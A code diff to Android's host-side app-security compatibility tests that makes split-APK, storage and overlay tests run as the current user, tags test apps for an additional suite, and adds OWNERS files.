- private void testInstallDependentFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
+
+ private void testInstallDependentFeatureSplitsAndConfigSplits(boolean instant)
+ throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureAPolishLocale");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureBPolishLocale");
}
@Test
- @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+ @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
+ + "receivers")
public void testInstallAllFeatureSplits_full() throws Exception {
testInstallAllFeatureSplits(false);
}
+
private void testInstallAllFeatureSplits(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_FEATURE_C).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureADefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureBDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureCDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureAAndBAndCReceivers");
}
@Test
@@ -180,18 +210,23 @@
public void testInstallAllFeatureSplitsAndConfigSplits_full() throws Exception {
testInstallAllFeatureSplitsAndConfigSplits(false);
}
+
@Test
@AppModeInstant(reason = "'instant' portion of the hostside test")
public void testInstallAllFeatureSplitsAndConfigSplits_instant() throws Exception {
testInstallAllFeatureSplitsAndConfigSplits(true);
}
+
private void testInstallAllFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
.addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
.addApk(APK_FEATURE_C_pl).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureADefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureBDefault");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+ "shouldLoadFeatureCDefault");
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index 20978c6..a1ec91e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -79,7 +79,10 @@
private String getStateForOverlay(String overlayPackage) throws Exception {
String result = getDevice().executeShellCommand("cmd overlay dump");
- int startIndex = result.indexOf(overlayPackage + ":");
+
+ String overlayPackageForCurrentUser = overlayPackage + ":" + getDevice().getCurrentUser();
+
+ int startIndex = result.indexOf(overlayPackageForCurrentUser);
if (startIndex < 0) {
return null;
}
@@ -122,7 +125,7 @@
new InstallMultiple().addApk(overlayApk).run();
waitForOverlayState(overlayPackage, STATE_NO_IDMAP);
- getDevice().executeShellCommand("cmd overlay enable " + overlayPackage);
+ getDevice().executeShellCommand("cmd overlay enable --user current " + overlayPackage);
waitForOverlayState(overlayPackage, STATE_NO_IDMAP);
} finally {
getDevice().uninstallPackage(TARGET_PACKAGE);
@@ -143,7 +146,7 @@
new InstallMultiple().addApk(targetApk).run();
waitForOverlayState(overlayPackage, STATE_DISABLED);
- getDevice().executeShellCommand("cmd overlay enable " + overlayPackage);
+ getDevice().executeShellCommand("cmd overlay enable --user current " + overlayPackage);
waitForOverlayState(overlayPackage, STATE_ENABLED);
runDeviceTests(TEST_APP_PACKAGE, TEST_APP_CLASS, testMethod);
@@ -170,7 +173,7 @@
assertFalse(getDevice().getInstalledPackageNames().contains(OVERLAY_ANDROID_PACKAGE));
// The package of the installed overlay should not appear in the overlay manager list.
- assertFalse(getDevice().executeShellCommand("cmd overlay list")
+ assertFalse(getDevice().executeShellCommand("cmd overlay list --user current ")
.contains(" " + OVERLAY_ANDROID_PACKAGE + "\n"));
} finally {
getDevice().uninstallPackage(OVERLAY_ANDROID_PACKAGE);
@@ -222,7 +225,7 @@
assertFalse(getDevice().getInstalledPackageNames().contains(OVERLAY_ALL_PACKAGE));
// The package of the installed overlay should not appear in the overlay manager list.
- assertFalse(getDevice().executeShellCommand("cmd overlay list")
+ assertFalse(getDevice().executeShellCommand("cmd overlay list --user current")
.contains(" " + OVERLAY_ALL_PACKAGE + "\n"));
} finally {
getDevice().uninstallPackage(OVERLAY_ALL_PACKAGE);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 3149383..946b74d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -416,7 +416,7 @@
}
public void testPermissionSplit28() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_28), false, false));
@@ -425,7 +425,7 @@
}
public void testPermissionNotSplit29() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -440,7 +440,7 @@
}
public void testRequestBoth() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -449,7 +449,7 @@
}
public void testRequestBothInSequence() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -458,7 +458,7 @@
}
public void testRequestBothButGrantInSequence() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -467,7 +467,7 @@
}
public void testDenyBackgroundWithPrejudice() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
@@ -476,7 +476,7 @@
}
public void testPermissionNotSplitLatest() throws Exception {
- if (getDevice().hasFeature("android.software.leanback")) {
+ if (getDevice().hasFeature("feature:android.software.leanback")) {
return;
}
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_Latest), false, false));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index a3b11ee..d7c4b31 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -194,7 +194,7 @@
try {
// Try our hardest to fill up the entire disk
- Utils.runDeviceTests(getDevice(), PKG_B, CLASS, "testFullDisk");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_B, CLASS, "testFullDisk");
} catch (Throwable t) {
if (t.getMessage().contains("Skipping")) {
// If the device doens't have resgid support, there's nothing
@@ -206,14 +206,14 @@
}
// Tweak something that causes PackageManager to persist data
- Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testTweakComponent");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_A, CLASS, "testTweakComponent");
// Wake up/unlock device before running tests
getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
getDevice().disableKeyguard();
// Verify that Settings can free space used by abusive app
- Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testClearSpace");
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG_A, CLASS, "testClearSpace");
}
public void waitForIdle() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index af46b08..30ed7bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -148,9 +148,9 @@
int currentUserId = device.getCurrentUser();
for (int i = 1; i < userIds.length; i++) {
if (i < maxUsers) {
- device.startUser(userIds[i]);
+ device.startUser(userIds[i], true);
} else if (userIds[i] != currentUserId) {
- device.stopUser(userIds[i]);
+ device.stopUser(userIds[i], true, true);
}
}
if (userIds.length > maxUsers) {
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS
new file mode 100644
index 0000000..98dd33e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS b/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS
new file mode 100644
index 0000000..98dd33e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/Android.bp b/hostsidetests/appsecurity/test-apps/Android.bp
index 64bfa62..6d60626 100644
--- a/hostsidetests/appsecurity/test-apps/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/Android.bp
@@ -37,6 +37,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
@@ -68,6 +69,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
@@ -98,6 +100,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
@@ -130,6 +133,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
}
@@ -155,6 +159,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
min_sdk_version: "22",
@@ -186,6 +191,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
}
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS b/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS
new file mode 100644
index 0000000..21cd9d9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 568761
+rtmitchell@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index 42242c6..d7b8c37 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -22,6 +22,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
dex_preopt: {
enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 9e90c0d..d9da67a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey2",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index 21462ff..09a4d81 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -154,7 +154,8 @@
protected boolean supportedHardware() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
if (pm.hasSystemFeature("android.hardware.type.television")
- || pm.hasSystemFeature("android.hardware.type.watch")) {
+ || pm.hasSystemFeature("android.hardware.type.watch")
+ || pm.hasSystemFeature("android.hardware.type.automotive")) {
return false;
}
return true;
@@ -162,7 +163,8 @@
protected boolean supportedHardwareForScopedDirectoryAccess() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
- if (pm.hasSystemFeature("android.hardware.type.watch")
+ if (pm.hasSystemFeature("android.hardware.type.television")
+ || pm.hasSystemFeature("android.hardware.type.watch")
|| pm.hasSystemFeature("android.hardware.type.automotive")) {
return false;
}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 5c499d4..9b57550 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
new file mode 100644
index 0000000..aacd866
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 49763
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 12bc836..b012ac0 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -24,6 +24,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
optimize: {
enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS
new file mode 100644
index 0000000..40cc594
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS
new file mode 100644
index 0000000..40cc594
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
index c01f8b8..af55a55 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
@@ -29,6 +29,7 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
optimize: {
enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
index 0a00438..5488ecb 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
@@ -24,5 +24,6 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 1192d15..d287311 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -103,7 +103,8 @@
device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
}
- device.findObject(new UiSelector().textContains("Clear")).click();
+ String clearString = isCar(getContext()) ? "Clear storage" : "Clear";
+ device.findObject(new UiSelector().textContains(clearString)).click();
device.waitForIdle();
device.findObject(new UiSelector().text("OK")).click();
device.waitForIdle();
@@ -321,4 +322,9 @@
final PackageManager packageManager = context.getPackageManager();
return packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
+
+ private static boolean isCar(Context context) {
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS
@@ -0,0 +1,2 @@
